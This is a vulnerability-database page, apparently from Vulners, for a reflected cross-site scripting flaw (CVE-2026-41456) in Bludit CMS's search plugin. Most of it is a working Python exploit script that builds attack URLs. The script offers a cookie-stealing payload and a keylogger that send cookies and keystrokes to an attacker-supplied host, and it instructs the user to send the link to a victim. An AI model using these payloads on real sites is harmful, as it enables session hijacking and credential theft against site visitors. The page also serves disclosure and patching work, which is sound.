Bludit CMS 3.20.0 - Reflected Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2026-41456 | 21 Apr 202618:03 | – | attackerkb | |
| Bludit 跨站脚本漏洞 | 21 Apr 202600:00 | – | cnnvd | |
| CVE-2026-41456 | 21 Apr 202618:03 | – | cve | |
| CVE-2026-41456 Bludit CMS Reflected XSS via Search Plugin | 21 Apr 202618:03 | – | cvelist | |
| EUVD-2026-24239 | 21 Apr 202621:31 | – | euvd | |
| CVE-2026-41456 | 21 Apr 202619:16 | – | nvd | |
| Bludit CMS 3.20.0 Cross Site Scripting | 3 Sep 202600:00 | – | packetstorm | |
| PT-2026-34045 | 21 Apr 202600:00 | – | ptsecurity | |
| CVE-2026-41456 | 12 May 202602:27 | – | redhatcve | |
| CVE-2026-41456 Bludit CMS Reflected XSS via Search Plugin | 21 Apr 202618:03 | – | vulnrichment |
# Exploit Title: Bludit CMS 3.20.0 - Reflected Cross-Site Scripting
# Date: 2026-08-11
# Exploit Author: [Ranjit Kumar Singh]
# Vendor Homepage: https://www.bludit.com/
# Software Link:
https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip
# Version: 3.0.0 through 3.20.0 (all versions before commit 6732dde)
# Tested on: Ubuntu 20.04 / Apache 2.4 / PHP 7.4 / Windows 10 / PowerShell
# CVE: CVE-2026-41456
"""
CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin
Exploit Author: [Ranjit Kumar Singh]
Vendor: https://www.bludit.com/
Software Link: https://github.com/bludit/bludit/archive/refs/tags/3.20.0.zip
Vulnerable Versions: Bludit CMS 3.0.0 through 3.20.0 (before commit 6732dde)
Tested on: Ubuntu / Windows / PHP 7.4
Description:
The search plugin reflects the search term inside an HTML attribute (value="...").
To exploit, you must break out of the attribute using "> and then inject a tag.
This script builds a correctly URL-encoded /search/ endpoint URL.
Usage (Windows / Linux):
# Use built-in payload types (recommended)
python CVE-2026-41456.py -u http://target -t alert
python CVE-2026-41456.py -u http://target -t steal -a http://attacker/log
python CVE-2026-41456.py -u http://target -t keylog -a http://attacker/log
# Use -j to provide only JavaScript code (script will add breakout and .gif)
python CVE-2026-41456.py -u http://target -j "alert('XSS')" # Linux
python CVE-2026-41456.py -u http://target -j 'alert("XSS")' # Windows (PowerShell)
# For full control, use -p (must include "> breakout and .gif suffix)
python CVE-2026-41456.py -u http://target -p "\"><img src=1 onerror=alert(1)>.gif"
"""
import argparse
import urllib.parse
import sys
import webbrowser
def build_payload(base_url, payload):
"""Build the full XSS URL with the payload placed in the /search/ path."""
if not base_url.endswith('/'):
base_url += '/'
encoded_payload = urllib.parse.quote(payload, safe='')
full_url = f"{base_url}search/{encoded_payload}"
return full_url
def generate_alert_payload():
return '"><img src=1 onerror=alert("XSS")>.gif'
def generate_steal_cookie_payload(attacker_url):
return f'"><script>document.location="{attacker_url}?c="+encodeURIComponent(document.cookie)</script>.gif'
def generate_keylogger_payload(attacker_url):
payload = f"""
"><script>
var keys = '';
document.onkeypress = function(e) {{
keys += e.key;
if (keys.length > 50) {{
new Image().src = '{attacker_url}?k=' + encodeURIComponent(keys);
keys = '';
}}
}};
</script>.gif
"""
return ''.join(payload.split())
def interactive_payload_builder():
print("[*] Interactive Payload Builder")
print("1. Simple Alert (Proof of Concept)")
print("2. Steal Cookies (requires attacker URL)")
print("3. Keylogger (requires attacker URL)")
print("4. Custom JavaScript (you write the code)")
choice = input("Select payload type [1-4]: ").strip()
if choice == "1":
return generate_alert_payload()
elif choice == "2":
attacker_url = input("Enter attacker URL to receive cookies (e.g., http://attacker/log): ").strip()
if not attacker_url:
print("[-] Attacker URL required.")
return None
return generate_steal_cookie_payload(attacker_url)
elif choice == "3":
attacker_url = input("Enter attacker URL to receive keystrokes: ").strip()
if not attacker_url:
print("[-] Attacker URL required.")
return None
return generate_keylogger_payload(attacker_url)
elif choice == "4":
custom = input("Enter your JavaScript code (e.g., alert('XSS')): ").strip()
if not custom:
print("[-] Payload cannot be empty.")
return None
return f'"><script>{custom}</script>.gif'
else:
print("[-] Invalid choice.")
return None
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-41456 - Bludit CMS Reflected XSS via Search Plugin"
)
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://target) – script will append /search/")
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-p", "--payload", help="Custom full payload (must include breakout syntax, e.g., \"><img src=1 onerror=alert(1)>.gif)")
group.add_argument("-j", "--js", help="Raw JavaScript code (script will add '><script>...</script>.gif')")
group.add_argument("-t", "--type", choices=["alert", "steal", "keylog"], help="Predefined payload type")
group.add_argument("--interactive", action="store_true", help="Interactive payload builder")
parser.add_argument("-a", "--attacker", help="Attacker URL for steal/keylog payloads (required with -t steal or keylog)")
parser.add_argument("--open", action="store_true", help="Open the crafted URL in the default browser")
args = parser.parse_args()
base_url = args.url.rstrip('/')
payload = None
if args.payload:
payload = args.payload
elif args.js:
payload = f'"><script>{args.js}</script>.gif'
elif args.type:
if args.type == "alert":
payload = generate_alert_payload()
elif args.type == "steal":
if not args.attacker:
print("[-] --attacker URL required for steal payload")
sys.exit(1)
payload = generate_steal_cookie_payload(args.attacker)
elif args.type == "keylog":
if not args.attacker:
print("[-] --attacker URL required for keylog payload")
sys.exit(1)
payload = generate_keylogger_payload(args.attacker)
elif args.interactive:
payload = interactive_payload_builder()
if payload is None:
sys.exit(1)
else:
parser.print_help()
sys.exit(1)
# Debug: show raw payload before encoding
print(f"[*] Raw payload: {payload}")
exploit_url = build_payload(base_url, payload)
print(f"[+] Exploit URL generated:")
print(f"{exploit_url}")
print("\n[+] Instructions:")
print(" - Send this URL to a victim (or use --open to test locally).")
print(" - The JavaScript will execute in the victim's browser.")
if args.open:
print("[*] Opening URL in default browser...")
webbrowser.open(exploit_url)
print("\n[+] URL for copy-paste:")
print(exploit_url)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Sep 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 45.1
EPSS0.01243
SSVC